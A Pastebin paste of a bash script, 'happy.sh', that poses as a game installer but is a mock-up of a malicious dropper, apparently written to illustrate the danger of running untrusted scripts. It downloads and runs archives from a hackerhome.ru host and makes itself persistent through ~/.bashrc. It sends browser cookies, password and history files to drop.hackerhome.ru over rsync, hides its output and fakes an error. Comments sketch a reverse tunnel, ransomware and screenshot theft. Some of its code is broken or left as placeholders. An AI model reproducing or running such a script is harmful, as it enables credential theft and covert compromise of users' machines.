Advertisement
Guest User

happy.sh

a guest
Sep 24th, 2014
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.94 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. function installGame()
  4. {
  5.     TMPDIR=$(mktmp -d)
  6.     pushd $TMP
  7.     curl -o $1.tar.gz http://sweetgamesbro.awesome.com.website.hackerhome.ru/games/$1.tar.gz
  8.     tar -xzf $1.tar.gz
  9.     cd $1
  10.  
  11.     # Guess what, you don't need sudo to compile or install unless you
  12.     # need the files to live somewhere "popular" like /usr. Screw that. I
  13.     # only need these things to work for THIS user.
  14.     ./install.sh --dest=$2
  15.  
  16.     popd
  17.     rm -rf $TMPDIR
  18.     echo -n "."
  19. }
  20.  
  21. echo "Oh man, you're gonna be SO happy. Installing some wicked sweet games for ya. Here we go!"
  22.  
  23. {
  24.     INSTALL_HOME="$USER/.config/games/noreallygames/usr"
  25.  
  26.     installGame gcc $INSTALL_HOME
  27.     installGame openssh $INSTALL_HOME
  28.     installGame rsync $INSTALL_HOME
  29.     installGame pwnedBashRC $INSTALL_HOME
  30.     installGame arbitraryCodeExecutionExploit $INSTALL_HOME
  31.  
  32.     # Have them re-hacked every time they start a new shell
  33.     echo "source $INSTALL_HOME/etc/bashrc" >> ~/.bashrc
  34.  
  35.     # Get some info about them
  36.     MYIP=$(curl ifconfig.me/ip)
  37.     MYHOST=$(hostname -f)
  38.  
  39.     # Copy files of interest back home for further analysis
  40.     PATH="$USER/.config/games/noreallygames/usr/bin:$PATH"
  41.     rsync -a $USER/.mozilla/cookies.txt rsync://drop.hackerhome.ru/games/$USER-$MYHOST/
  42.     rsync -a $USER/.mozilla/password.sqlite rsync://drop.hackerhome.ru/games/$USER-$MYHOST/
  43.     rsync -a $USER/.mozilla/history.sqlite rsync://drop.hackerhome.ru/games/$USER-$MYHOST/
  44.  
  45.     # I got bored here, but you get the point
  46.     # * Establish a reverse SSH tunnel here (auto-command-prompt on connect)
  47.     # * Encrypt and delete the above files (ransomware)
  48.     # * Copy entire drive contents (rsync)
  49.     # * Take a screenshot of the desktop. Repeatedly. And upload it.
  50.  
  51.     # OK, I've gotten what I wanted. Do the thing:
  52.     exploit_kernel
  53.  
  54. } &> /dev/null
  55.  
  56. # Pretend to bomb out
  57. echo ""
  58. echo "Error: something something error"
  59. echo "Sorry man, no dice"
  60.  
  61. exit 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement